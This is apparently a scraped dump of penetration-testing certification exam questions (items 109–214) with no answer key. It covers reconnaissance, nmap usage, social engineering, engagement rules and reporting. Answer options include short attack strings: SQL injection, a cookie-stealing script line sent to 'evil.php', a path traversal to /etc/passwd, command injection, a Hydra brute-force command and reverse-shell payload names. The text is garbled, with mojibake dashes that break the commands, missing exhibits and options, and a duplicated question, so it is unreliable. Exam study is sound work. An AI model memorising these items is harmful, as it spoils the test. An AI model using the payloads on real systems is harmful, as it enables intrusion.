Aecho U3VQZXIkM2NyZXQhCg== | base64 ג€"d
Btar zxvf password.txt
Chydra ג€"l svsacct ג€"p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24
Djohn --wordlist /usr/share/seclists/rockyou.txt password.txt
Question #109Part 2

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

AAsset inventory
BDNS records
CWeb-application scan
DFull scan
Question #110Part 2

A security firm has been hired to perform an external penetration test against a company. The only information the firm received was the company name. Which of the following passive reconnaissance approaches would be MOST likely to yield positive initial results?

ASpecially craft and deploy phishing emails to key company leaders.
BRun a vulnerability scan against the company's external website.
CRuntime the company's vendor/supply chain.
DScrape web presences and social-networking sites.
Question #111Part 2

A security firm is discussing the results of a penetration test with the client. Based on the findings, the client wants to focus the remaining time on a critical network segment. Which of the following BEST describes the action taking place?

AMaximizing the likelihood of finding vulnerabilities
BReprioritizing the goals/objectives
CEliminating the potential for false positives
DReducing the risk to the client environment
Question #112Part 2Select 2

Which of the following tools would be BEST suited to perform a manual web application security assessment? (Choose two.)

AOWASP ZAP
BNmap
CNessus
DBeEF
EHydra
Question #113Part 2

Running a vulnerability scanner on a hybrid network segment that includes general IT servers and industrial control systems:

Awill reveal vulnerabilities in the Modbus protocol
Bmay cause unintended failures in control systems
Cmay reduce the true positive rate of findings
Dwill create a denial-of-service condition on the IP networks
Question #114Part 2

Which of the following provides a matrix of common tactics and techniques uses by attackers along with recommended mitigations?

ANIST SP 800-53
BOWASP Top 10
CMITRE ATT&CK framework
DPTES technical guidelines
Question #115Part 2

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

Anmap ג€"f ג€"sV ג€"p80 192.168.1.20
Bnmap ג€"sS ג€"sL ג€"p80 192.168.1.20
Cnmap ג€"A ג€"T4 ג€"p80 192.168.1.20
Dnmap ג€"O ג€"v ג€"p80 192.168.1.20
Question #116Part 2

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

AVRFY and EXPN
BVRFY and TURN
CEXPN and TURN
DRCPT TO and VRFY
Question #117Part 2

A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

ALaunch an external scan of netblocks.
BCheck WHOIS and netblock records for the company.
CUse DNS lookups and dig to determine the external hosts.
DConduct a ping sweep of the company's netblocks.
Question #118Part 2

A penetration tester captured the following traffic during a web-application test: Which of the following methods should the tester use to visualize the authorization information being transmitted?

ADecode the authorization header using UTF-8.
BDecrypt the authorization header using bcrypt.
CDecode the authorization header using Base64.
DDecrypt the authorization header using AES.
Question #119Part 2

A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?

ATailgating
BDumpster diving
CShoulder surfing
DBadge cloning
Question #120Part 2

A penetration tester wants to find hidden information in documents available on the web at a particular domain. Which of the following should the penetration tester use?

ANetcraft
BCentralOps
CResponder
DFOCA
Question #121Part 3

A penetration tester has gained access to the Chief Executive Officer's (CEO's) internal, corporate email. The next objective is to gain access to the network. Which of the following methods will MOST likely work?

ATry to obtain the private key used for S/MIME from the CEO's account.
BSend an email from the CEO's account, requesting a new account.
CMove laterally from the mail server to the domain controller.
DAttempt to escalate privileges on the mail server to gain root access.
Question #122Part 3

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

ANmap
BNikto
CCain and Abel
DEthercap
Question #123Part 3

A company has hired a penetration tester to deploy and set up a rogue access point on the network. Which of the following is the BEST tool to use to accomplish this goal?

AWireshark
BAircrack-ng
CKismet
DWifite
Question #124Part 3

A penetration tester has been given an assignment to attack a series of targets in the 192.168.1.0/24 range, triggering as few alarms and countermeasures as possible. Which of the following Nmap scan syntaxes would BEST accomplish this objective?

Anmap ג€"sT ג€"vvv ג€"O 192.168.1.0/24 ג€"PO
Bnmap ג€"sV 192.168.1.0/24 ג€"PO
Cnmap ג€"sA ג€"v ג€"O 192.168.1.0/24
Dnmap ג€"sS ג€"O 192.168.1.0/24 ג€"T1
Question #125Part 3

A penetration tester is testing a new version of a mobile application in a sandbox environment. To intercept and decrypt the traffic between the application and the external API, the tester has created a private root CA and issued a certificate from it. Even though the tester installed the root CA into the trusted stone of the smartphone used for the tests, the application shows an error indicating a certificate mismatch and does not connect to the server. Which of the following is the MOST likely reason for the error?

ATCP port 443 is not open on the firewall
BThe API server is using SSL instead of TLS
CThe tester is using an outdated version of the application
DThe application has the API certificate pinned.
Question #126Part 3

A software company has hired a penetration tester to perform a penetration test on a database server. The tester has been given a variety of tools used by the company's privacy policy. Which of the following would be the BEST to use to find vulnerabilities on this server?

AOpenVAS
BNikto
CSQLmap
DNessus
Question #127Part 3

A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter, with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?

AData flooding
BSession riding
CCybersquatting
DSide channel
Question #128Part 3

Which of the following concepts defines the specific set of steps and approaches that are conducted during a penetration test?

AScope details
BFindings
CMethodology
DStatement of work
Question #129Part 3

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

ASend an SMS with a spoofed service number including a link to download a malicious application.
BExploit a vulnerability in the MDM and create a new account and device profile.
CPerform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
DInfest a website that is often used by employees with malware targeted toward x86 architectures.
Question #130Part 3

A penetration tester ran a ping `"A command during an unknown environment test, and it returned a 128 TTL packet. Which of the following OSs would MOST likely return a packet of this type?

AWindows
BApple
CLinux
DAndroid
Question #131Part 3Select 2

A physical penetration tester needs to get inside an organization's office and collect sensitive information without acting suspiciously or being noticed by the security guards. The tester has observed that the company's ticket gate does not scan the badges, and employees leave their badges on the table while going to the restroom. Which of the following techniques can the tester use to gain physical access to the office? (Choose two.)

AShoulder surfing
BCall spoofing
CBadge stealing
DTailgating
EDumpster diving
Question #132Part 3

A penetration tester conducted an assessment on a web server. The logs from this session show the following: Which of the following attacks is being attempted?

AClickjacking
BSession hijacking
CParameter pollution
DCookie hijacking
ECross-site scripting
Question #133Part 3

A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

AA signed statement of work
BThe correct user accounts and associated passwords
CThe expected time frame of the assessment
DThe proper emergency contacts for the client
Question #134Part 3

An Nmap scan of a network switch reveals the following: Which of the following technical controls will most likely be the FIRST recommendation for this device?

AEncrypted passwords
BSystem-hardening techniques
CMultifactor authentication
DNetwork segmentation
Question #135Part 3

A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the ymic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

AAlternate data streams
BPowerShell modules
CMP4 steganography
DProcMon
Question #136Part 3

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

ACheck the scoping document to determine if exfiltration is within scope.
BStop the penetration test.
CEscalate the issue.
DInclude the discovery and interaction in the daily report.
Question #137Part 3

A Chief Information Security Officer wants to evaluate the security of the company's e-commerce application. Which of the following tools should a penetration tester use FIRST to obtain relevant information from the application without triggering alarms?

ASQLmap
BDirBuster
Cw3af
DOWASP ZAP
Question #138Part 3

Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

AMSA
BNDA
CSOW
DROE
Question #139Part 3

A penetration tester runs a scan against a server and obtains the following output: Which of the following command sequences should the penetration tester try NEXT?

Aftp 192.168.53.23
Bsmbclient \\\\WEB3\\IPC$ -I 192.168.53.23 -U guest
Cncrack -u Administrator -P 15worst_passwords.txt -p rdp 192.168.53.23
Dcurl -X TRACE https://192.168.53.23:8443/index.aspx
Question #140Part 3

A penetration tester needs to upload the results of a port scan to a centralized security tool. Which of the following commands would allow the tester to save the results in an interchangeable format?

Anmap -iL results 192.168.0.10-100
Bnmap 192.168.0.10-100 -O > results
Cnmap -A 192.168.0.10-100 -oX results
Dnmap 192.168.0.10-100 | grep "results"
Question #141Part 3Select 2

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

AScraping social media sites
BUsing the WHOIS lookup tool
CCrawling the client's website
DPhishing company employees
EUtilizing DNS lookup tools
Question #142Part 3

During a penetration test, the domain names, IP ranges, hosts, and applications are defined in the:

ASOW.
BSLA.
CROE.
DNDA
Question #143Part 3

A tester who is performing a penetration test on a website receives the following output: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62 Which of the following commands can be used to further attack the website?

Avar adr = '../evil.php?test=' + escape(document.cookie);
B../../../../../../../../../../etc/passwd
C/var/www/html/index.php;whoami
D1 UNION SELECT 1, DATABASE (), 3 --
Question #144Part 3

A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

AGain access to the target host and implant malware specially crafted for this purpose.
BExploit the local DNS server and add/update the zone records with a spoofed A record.
CUse the Scapy utility to overwrite name resolution fields in the DNS query response.
DProxy HTTP connections from the target host to that of the spoofed host.
Question #145Part 3Select 2

Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

AUse of non-optimized sort functions
BPoor input sanitization
CNull pointer dereferences
DNon-compliance with code style guide
EUse of deprecated Javadoc tags
Question #146Part 3

A penetration tester has found indicators that a privileged user's password might be the same on 30 different Linux systems. Which of the following tools can help the tester identify the number of systems on which the password can be used?

AHydra
BJohn the Ripper
CCain and Abel
DMedusa
Question #147Part 3Select 2

A penetration tester recently completed a review of the security of a core network device within a corporate environment. The key findings are as follows: ✑ The following request was intercepted going to the network device: GET /login HTTP/1.1 - Host: 10.50.100.16 - User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 - Accept-Language: en-US,en;q=0.5 - Connection: keep-alive - Authorization: Basic WU9VUilOQU1FOnNlY3JldHBhc3N3b3jk ✑ Network management interfaces are available on the production network. ✑ An Nmap scan retuned the following: Port State Service Version 22/tcp open ssh Cisco SSH 1.25 (protocol 2.0 80/tcp open http Cisco IOS http config |_https-title: Did not follow redirect to https://10.50.100.16 443/tcp open https Cisco IOS https config Which of the following would be BEST to add to the recommendations section of the final report? (Choose two.)

AEnforce enhanced password complexity requirements.
BDisable or upgrade SSH daemon.
CDisable HTTP/301 redirect configuration.
DCreate an out-of-band network for management.
EImplement a better method for authentication.
Question #148Part 3Select 2

A penetration tester was able to compromise a server and escalate privileges. Which of the following should the tester perform AFTER concluding the activities on the specified target? (Choose two.)

ARemove the logs from the server.
BRestore the server backup.
CDisable the running services.
DRemove any tools or scripts that were installed.
EDelete any created credentials.
Question #149Part 3

A penetration tester is reviewing the following DNS reconnaissance results for comptia.org from dig: ... ;; ANSWER SECTION comptia.org. 3569 IN MX comptia.org-mail.protection.outlook.com. comptia.org. 3569 IN A 3.219.13.186. comptia.org. 3569 IN NS ns1.comptia.org. comptia.org. 3569 IN SOA haven. administrator.comptia.org. comptia.org. 3569 IN MX new.mx0.comptia.org. comptia.org. 3569 IN MX new.mx1.comptia.org. Which of the following potential issues can the penetration tester identify based on this output?

AAt least one of the records is out of scope.
BThere is a duplicate MX record.
CThe NS record is not within the appropriate domain.
DThe SOA records outside the comptia.org domain.
Question #150Part 3

A consultant just performed a SYN scan of all the open ports on a remote host and now needs to remotely identify the type of services that are running on the host. Which of the following is an active reconnaissance tool that would be BEST to use to accomplish this task?

Atcpdump
BSnort
CNmap
DNetstat
EFuzzer
Question #151Part 3

Deconfliction is necessary when the penetration test:

Adetermines that proprietary information is being stored in cleartext.
Boccurs during the monthly vulnerability scanning.
Cuncovers indicators of prior compromise over the course of the assessment.
Dproceeds in parallel with a criminal digital forensic investigation.
Question #152Part 3

A penetration tester wants to test a list of common passwords against the SSH daemon on a network device. Which of the following tools would be BEST to use for this purpose?

AHashcat
BMimikatz
CPatator
DJohn the Ripper
Question #153Part 3

PCI DSS requires which of the following as part of the penetration-testing process?

AThe penetration tester must have cybersecurity certifications.
BThe network must be segmented.
COnly externally facing systems should be tested.
DThe assessment must be performed during non-working hours.
Question #154Part 3

A penetration tester completed an assessment, removed all artifacts and accounts created during the test, and presented the findings to the client. Which of the following happens NEXT?

AThe penetration tester conducts a retest.
BThe penetration tester deletes all scripts from the client machines.
CThe client applies patches to the systems.
DThe client clears system logs generated during the test.
Question #155Part 3

A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

Anmap -sn 192.168.0.1/16
Bnmap -sn 192.168.0.1-254
Cnmap -sn 192.168.0.1 192.168.0.1.254
Dnmap -sN 192.168.0.0/24
Question #156Part 3

A penetration tester wants to validate the effectiveness of a DLP product by attempting exfiltration of data using email attachments. Which of the following techniques should the tester select to accomplish this task?

ASteganography
BMetadata removal
CEncryption
DEncode64
Question #157Part 3

A penetration tester received a 16-bit network block that was scoped for an assessment. During the assessment, the tester realized no hosts were active in the provided block of IPs and reported this to the company. The company then provided an updated block of IPs to the tester. Which of the following would be the most appropriate NEXT step?

ATerminate the contract.
BUpdate the ROE with new signatures.
CScan the 8-bit block to map additional missed hosts.
DContinue the assessment.
Question #158Part 3

A penetration tester has completed an analysis of the various software products produced by the company under assessment. The tester found that over the past several years the company has been including vulnerable third-party modules in multiple products, even though the quality of the organic code being developed is very good. Which of the following recommendations should the penetration tester include in the report?

AAdd a dependency checker into the tool chain.
BPerform routine static and dynamic analysis of committed code.
CValidate API security settings before deployment.
DPerform fuzz testing of compiled binaries.
Question #159Part 3

A penetration tester needs to access a building that is guarded by locked gates, a security team, and cameras. Which of the following is a technique the tester can use to gain access to the IT framework without being detected?

APick a lock.
BDisable the cameras remotely.
CImpersonate a package delivery worker.
DSend a phishing email.
Question #160Part 3

A penetration tester is assessing a wireless network. Although monitoring the correct channel and SSID, the tester is unable to capture a handshake between the clients and the AP. Which of the following attacks is the MOST effective to allow the penetration tester to capture a handshake?

AKey reinstallation
BDeauthentication
CEvil twin
DReplay
Question #161Part 3

A penetration tester has gained access to part of an internal network and wants to exploit on a different network segment. Using Scapy, the tester runs the following command: Which of the following represents what the penetration tester is attempting to accomplish?

ADNS cache poisoning
BMAC spoofing
CARP poisoning
DDouble-tagging attack
Question #162Part 3Select 2

A company that requires minimal disruption to its daily activities needs a penetration tester to perform information gathering around the company's web presence. Which of the following would the tester find MOST helpful in the initial information-gathering steps? (Choose two.)

AMX records
BZone transfers
CDNS forward and reverse lookups
DInternet search engines
EExternally facing open ports
Question #163Part 3

The attacking machine is on the same LAN segment as the target host during an internal penetration test. Which of the following commands will BEST enable the attacker to conduct host delivery and write the discovery to files without returning results of the attack machine?

Anmap -sn -n -exclude 10.1.1.15 10.1.1.0/24 -oA target_txt
Bnmap -iR 10 -n -oX out.xml | grep "Nmap" | cut -d "" -f5 > live-hosts.txt
Cnmap -Pn -sV -O -iL target.txt -oA target_text_Service
Dnmap -sS -Pn -n -iL target.txt -oA target_txtl
Question #164Part 3

A customer adds a requirement to the scope of a penetration test that states activities can only occur during normal business hours. Which of the following BEST describes why this would be necessary?

ATo meet PCI DSS testing requirements
BFor testing of the customer's SLA with the ISP
CBecause of concerns regarding bandwidth limitations
DTo ensure someone is available if something goes wrong
Question #165Part 3

An assessor wants to use Nmap to help map out a stateful firewall rule set. Which of the following scans will the assessor MOST likely run?

Anmap -sA 192.168.0.1/24
Bnmap -sS 192.168.0.1/24
Cnmap -oG 192.168.0.1/24
Dnmap 192.168.0.1/24
Question #166Part 3

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

ADeny that the vulnerability existed
BInvestigate the penetration tester.
CAccept that the client was right.
DFire the penetration tester.
Question #167Part 3

A penetration tester is contracted to attack an oil rig network to look for vulnerabilities. While conducting the assessment, the support organization of the rig reported issues connecting to corporate applications and upstream services for data acquisitions. Which of the following is the MOST likely culprit?

APatch installations
BSuccessful exploits
CApplication failures
DBandwidth limitations
Question #168Part 3

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the number of the service. Which of the following methods would BEST support validation of the possible findings?

AManually check the version number of the VoIP service against the CVE release.
BTest with proof-of-concept code from an exploit database on a non-production system.
CReview SIP traffic from an on-path position to look for indicators of compromise.
DExecute an nmap -sV scan against the service.
Question #169Part 3

The results of an Nmap scan are as follows: Which of the following device types will MOST likely have a similar response?

AActive Directory domain controller
BIoT/embedded device
CExposed RDP
DPrint queue
Question #170Part 3Select 2

Which of the following are the MOST important items for prioritizing fixes that should be included in the final report for a penetration test? (Choose two.)

AThe CVSS score of the finding
BThe network location of the vulnerable device
CThe vulnerability identifier
DThe client acceptance form
EThe name of the person who found the flaw
Question #171Part 3

User credentials were captured from a database during an assessment and cracked using rainbow tables Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

AMD5
Bbcrypt
CSHA-1
DPBKDF2
Question #172Part 3

A penetration tester is testing a web application that is hosted by a public cloud provider. The tester is able to query the provider's metadata and get the credentials used by the instance to authenticate itself. Which of the following vulnerabilities has the tester exploited?

ACross-site request forgery
BServer-side request forgery
CRemote file inclusion
DLocal code inclusion
Question #173Part 3

A penetration tester was contracted to test a proprietary application for buffer overflow vulnerabilities. Which of the following tools would be BEST suited for this task?

AGDB
BBurp Suite
CSearchSpliot
DNetcat
Question #174Part 3

Which of the following would assist a penetration tester the MOST when evaluating the susceptibility of top-level executives to social engineering attacks?

AScraping social media for personal details
BRegistering domain names that are similar to the target company's
CIdentifying technical contacts at the company
DCrawling the company's website for company information
Question #175Part 3

A penetration tester is testing a new API for the company's existing services and is preparing the following script: Which of the following would the test discover?

ADefault web configurations
BOpen web ports on a host
CSupported HTTP methods
DListening web servers in a domain
Question #176Part 3

Given the following script: Which of the following BEST characterizes the function performed by lines 5 and 6?

ARetrieves the start-of-authority information for the zone on DNS server 10.10.10.10
BPerforms a single DNS query for www.comptia.org and prints the raw data output
CLoops through variable b to count the results returned for the DNS query and prints that count to screen
DPrints each DNS query result already stored in variable b
Question #177Part 3

A penetration-testing team needs to test the security of electronic records in a company's office. Per the terms of engagement, the penetration test is to be conducted after hours and should not include circumventing the alarm or performing destructive entry. During outside reconnaissance, the team sees an open door from an adjoining building. Which of the following would be allowed under the terms of the engagement?

APrying the lock open on the records room
BClimbing in an open window of the adjoining building
CPresenting a false employee ID to the night guard
DObstructing the motion sensors in the hallway of the records room
Question #178Part 3

A penetration tester discovers during a recent test that an employee in the accounting department had been making changes to a payment system and redirecting money into a personal bank account. The penetration test was immediately stopped. Which of the following would be the BEST recommendation to discourage this type of activity in the future?

AEnforce mandatory employee vacations.
BImplement multifactor authentication.
CInstall video surveillance equipment in the office.
DEncrypt passwords for bank account information.
Question #179Part 3

A penetration tester who is working remotely is conducting a penetration test using a wireless connection. Which of the following is the BEST way to provide confidentiality for the client while using this connection?

AConfigure wireless access to use a AAA server.
BUse random MAC addresses on the penetration testing distribution.
CInstall a host-based firewall on the penetration testing distribution.
DConnect to the penetration testing company's VPS using a VPN.
Question #180Part 3

A penetration tester is able to use a command injection vulnerability in a web application to get a reverse shell on a system After running a few commands, the tester runs the following: python -c 'import pty; pty.spawn("/bin/bash")' Which of the following actions Is the penetration tester performing?

APrivilege escalation
BUpgrading the shell
CWriting a script for persistence
DBuilding a bind shell
Question #181Part 4

A penetration tester opened a shell on a laptop at a client's office but is unable to pivot because of restrictive ACLs on the wireless subnet. The tester is also aware that all laptop users have a hard-wired connection available at their desks. Which of the following is the BEST method available to pivot and gain additional access to the network?

ASet up a captive portal with embedded malicious code.
BCapture handshakes from wireless clients to crack.
CSpan deauthentication packets to the wireless clients.
DSet up another access point and perform an evil twin attack.
Question #182Part 4

A tester who is performing a penetration test discovers an older firewall that is known to have serious vulnerabilities to remote attacks but is not part of the original list of IP addresses for the engagement. Which of the following is the BEST option for the tester to take?

ASegment the firewall from the cloud.
BScan the firewall for vulnerabilities.
CNotify the client about the firewall.
DApply patches to the firewall.
Question #183Part 4

A penetration tester is looking for vulnerabilities within a company's web application that are in scope. The penetration tester discovers a login page and enters the following string in a field: 1;SELECT Username, Password FROM Users; Which of the following injection attacks is the penetration tester using?

ABlind SQL
BBoolean SQL
CStacked queries
DError-based
Question #184Part 4

Which of the following can be used to store alphanumeric data that can be fed into scripts or programs as input to penetration-testing tools?

ADictionary
BDirectory
CSymlink
DCatalog
EFor-loop
Question #185Part 4

A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

Ainurl:
Blink:
Csite:
Dintitle:
Question #186Part 4

A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

AOWASP Top 10
BMITRE ATT&CK framework
CNIST Cybersecurity Framework
DThe Diamond Model of Intrusion Analysis
Question #187Part 4

During a web application test, a penetration tester was able to navigate to https://company.com and view all links on the web page. After manually reviewing the pages, the tester used a web scanner to automate the search for vulnerabilities. When returning to the web application, the following message appeared in the browser: unauthorized to view this page. Which of the following BEST explains what occurred?

AThe SSL certificates were invalid.
BThe tester IP was blocked.
CThe scanner crashed the system.
DThe web page was not found.
Question #188Part 4

A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server: x’ OR role LIKE '%admin% Which of the following should be recommended to remediate this vulnerability?

AMultifactor authentication
BEncrypted communications
CSecure software development life cycle
DParameterized queries
Question #189Part 4

The following output is from reconnaissance on a public-facing banking website: Based on these results, which of the following attacks is MOST likely to succeed?

AA birthday attack on 64-bit ciphers (Sweet32)
BAn attack that breaks RC4 encryption
CAn attack on a session ticket extension (Ticketbleed)
DA Heartbleed attack
Question #190Part 4

Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

ASOW
BSLA
CMSA
DNDA
Question #191Part 4

In Python socket programming, SOCK_DGRAM type is:

Areliable.
Bmatrixed.
Cconnectionless.
Dslower.
Question #192Part 4

Which of the following is the MOST important information to have on a penetration testing report that is written for the developers?

AExecutive summary
BRemediation
CMethodology
DMetrics and measures
Question #193Part 4

After gaining access to a Linux system with a non-privileged account, a penetration tester identifies the following file: Which of the following actions should the tester perform FIRST?

AChange the file permissions.
BUse privilege escalation.
CCover tracks.
DStart a reverse shell.
Question #194Part 4

Which of the following types of assessments MOST likely focuses on vulnerabilities with the objective to access specific data?

AAn unknown-environment assessment
BA known-environment assessment
CA red-team assessment
DA compliance-based assessment
Question #195Part 4

A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

AThe tester had the situational awareness to stop the transfer.
BThe tester found evidence of prior compromise within the data set.
CThe tester completed the assigned part of the assessment workflow.
DThe tester reached the end of the assessment time frame.
Question #196Part 4

A penetration tester exploited a vulnerability on a server and remotely ran a payload to gain a shell. However, a connection was not established, and no errors were shown on the payload execution. The penetration tester suspected that a network device, like an IPS or next-generation firewall, was dropping the connection. Which of the following payloads are MOST likely to establish a shell successfully?

Awindows/x64/meterpreter/reverse_tcp
Bwindows/x64/meterpreter/reverse_http
Cwindows/x64/shell_reverse_tcp
Dwindows/x64/powershell_reverse_tcp
Ewindows/x64/meterpreter/reverse_https
Question #197Part 4

A penetration tester has been hired to examine a website for flaws. During one of the time windows for testing, a network engineer notices a flood of GET requests to the web server, reducing the website’s response time by 80%. The network engineer contacts the penetration tester to determine if these GET requests are part of the test. Which of the following BEST describes the purpose of checking with the penetration tester?

ASituational awareness
BRescheduling
CDDoS defense
DDeconfliction
Question #198Part 4

Which of the following is the BEST resource for obtaining payloads against specific network infrastructure products?

AExploit-DB
BMetasploit
CShodan
DRetina
Question #199Part 4

A penetration tester gives the following command to a systems administrator to execute on one of the target servers: rm -f /var/www/html/G679h32gYu.php Which of the following BEST explains why the penetration tester wants this command executed?

ATo trick the systems administrator into installing a rootkit
BTo close down a reverse shell
CTo remove a web shell after the penetration test
DTo delete credentials the tester created
Question #200Part 4

The following PowerShell snippet was extracted from a log of an attacker machine: A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

ALine 8
BLine 13
CLine 19
DLine 20
Question #201Part 4

A company provided the following network scope for a penetration test: • 169.137.1.0/24 • 221.10.1.0/24 • 149.14.1.0/24 A penetration tester discovered a remote command injection on IP address 149.14.1.24 and exploited the system. Later, the tester learned that this particular IP address belongs to a third party. Which of the following stakeholders is responsible for this mistake?

AThe company that requested the penetration test
BThe penetration testing company
CThe target host's owner
DThe penetration tester
EThe subcontractor supporting the test
Question #202Part 4

In an unprotected network file repository, a penetration tester discovers a text file containing usernames and passwords in cleartext and a spreadsheet containing data for 50 employees, including full names, roles, and serial numbers. The tester realizes some of the passwords in the text file follow the format: . Which of the following would be the best action for the tester to take NEXT with this information?

ACreate a custom password dictionary as preparation for password spray testing.
BRecommend using a password manager/vault instead of text files to store passwords securely.
CRecommend configuring password complexity rules in all the systems and applications.
DCreate a TPM-backed sealed storage location within which the unprotected file repository can be reported.
Question #203Part 4

During the reconnaissance phase, a penetration tester obtains the following output: Reply from 192.168.1.23: bytes=32 time<54ms TTL=128 Reply from 192.168.1.23: bytes=32 time<53ms TTL=128 Reply from 192.168.1.23: bytes=32 time<60ms TTL=128 Reply from 192.168.1.23: bytes=32 time<51ms TTL=128 Which of the following operating systems is MOST likely installed on the host?

ALinux -
CWindows
DmacOS
Question #204Part 4

A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

AProhibiting exploitation in the production environment
BRequiring all testers to review the scoping document carefully
CNever assessing the production networks
DProhibiting testers from joining the team during the assessment
Question #205Part 4

User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

AMD5
Bbcrypt
CSHA-1
DPBKDF2
Question #206Part 4

A penetration tester attempted a DNS poisoning attack. After the attempt, no traffic was seen from the target machine. Which of the following MOST likely caused the attack to fail?

AThe injection was too slow.
BThe DNS information was incorrect.
CThe DNS cache was not refreshed.
DThe client did not receive a trusted response.
Question #207Part 4

During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?

AChanging to Wi-Fi equipment that supports strong encryption
BUsing directional antennae
CUsing WEP encryption
DDisabling Wi-Fi
Question #208Part 4

A penetration tester is conducting a penetration test and discovers a vulnerability on a web server that is owned by the client. Exploiting the vulnerability allows the tester to open a reverse shell. Enumerating the server for privilege escalation, the tester discovers the following: Which of the following should the penetration tester do NEXT?

AClose the reverse shell the tester is using.
BNote this finding for inclusion in the final report.
CInvestigate the high numbered port connections.
DContact the client immediately.
Question #209Part 4

A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following: IP Address: 192.168.1.63 - Physical Address: 60-36-dd-a6-c5-33 Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

Atcpdump -i eth01 arp and arp[6:2] == 2
Barp -s 192.168.1.63 60-36-DD-A6-C5-33
Cipconfig /all findstr /v 00-00-00 | findstr Physical
Droute add 192.168.1.63 mask 255.255.255.255.0 192.168.1.1
Question #210Part 4

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

AVulnerability scanning
BNetwork segmentation
CSystem hardening
DIntrusion detection
Question #211Part 4

A security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

ANmap -s 445 -Pn -T5 172.21.0.0/16
BNmap -p 445 -n -T4 -open 172.21.0.0/16
DNmap -p 445 -max -sT 172. 21.0.0/16
Question #212Part 4

Penetration tester has discovered an unknown Linux 64-bit executable binary. Which of the following tools would be BEST to use to analyze this issue?

APeach
BWinDbg
CGDB
DOllyDbg
Question #213Part 4

A penetration tester found several critical SQL injection vulnerabilities during an assessment of a client's system. The tester would like to suggest mitigation to the client as soon as possible. Which of the following remediation techniques would be the BEST to recommend? (Choose two.)

AClosing open services
BEncryption users' passwords
CRandomizing users' credentials
DUsers' input validation
EParameterized queries
Question #214Part 4

Which of the following is a rules engine for managing public cloud accounts and resources?

ACloud Custodian
BCloud Brute
CPacu
DScout Suite
Question #215Part 4

